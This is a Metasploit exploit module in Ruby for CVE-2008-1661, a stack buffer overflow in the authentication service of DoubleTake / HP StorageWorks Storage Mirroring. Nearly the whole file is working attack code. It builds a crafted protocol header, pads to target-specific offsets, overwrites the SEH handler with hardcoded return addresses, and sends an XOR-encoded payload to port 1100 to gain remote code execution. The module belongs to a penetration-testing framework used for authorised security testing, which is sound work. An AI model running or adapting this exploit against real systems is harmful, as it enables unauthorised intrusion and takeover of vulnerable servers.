metasploit-framework/modules/exploits/windows/misc/doubletake.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
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def initialize(info = {})
super(update_info(info,
'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the authentication mechanism of
NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
was found by Titon of Bastard Labs.
},
'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
'References' =>
[
['CVE', '2008-1661' ],
['OSVDB', '45924' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
},
'Platform' => 'win',
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'Targets' =>
[
['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],
['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 04 2008'
))
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register_options(
[
Opt::RPORT(1100)
], self.class)
end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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header =
"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
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xor = Rex::Encoding::Xor::Byte
filler = rand_text_english(1) * (target['Offset'])
seh = generate_seh_payload(target.ret)
buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
sploit = header + filler + buffercoded[0]
sock.put(sploit)
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handler
disconnect
end
end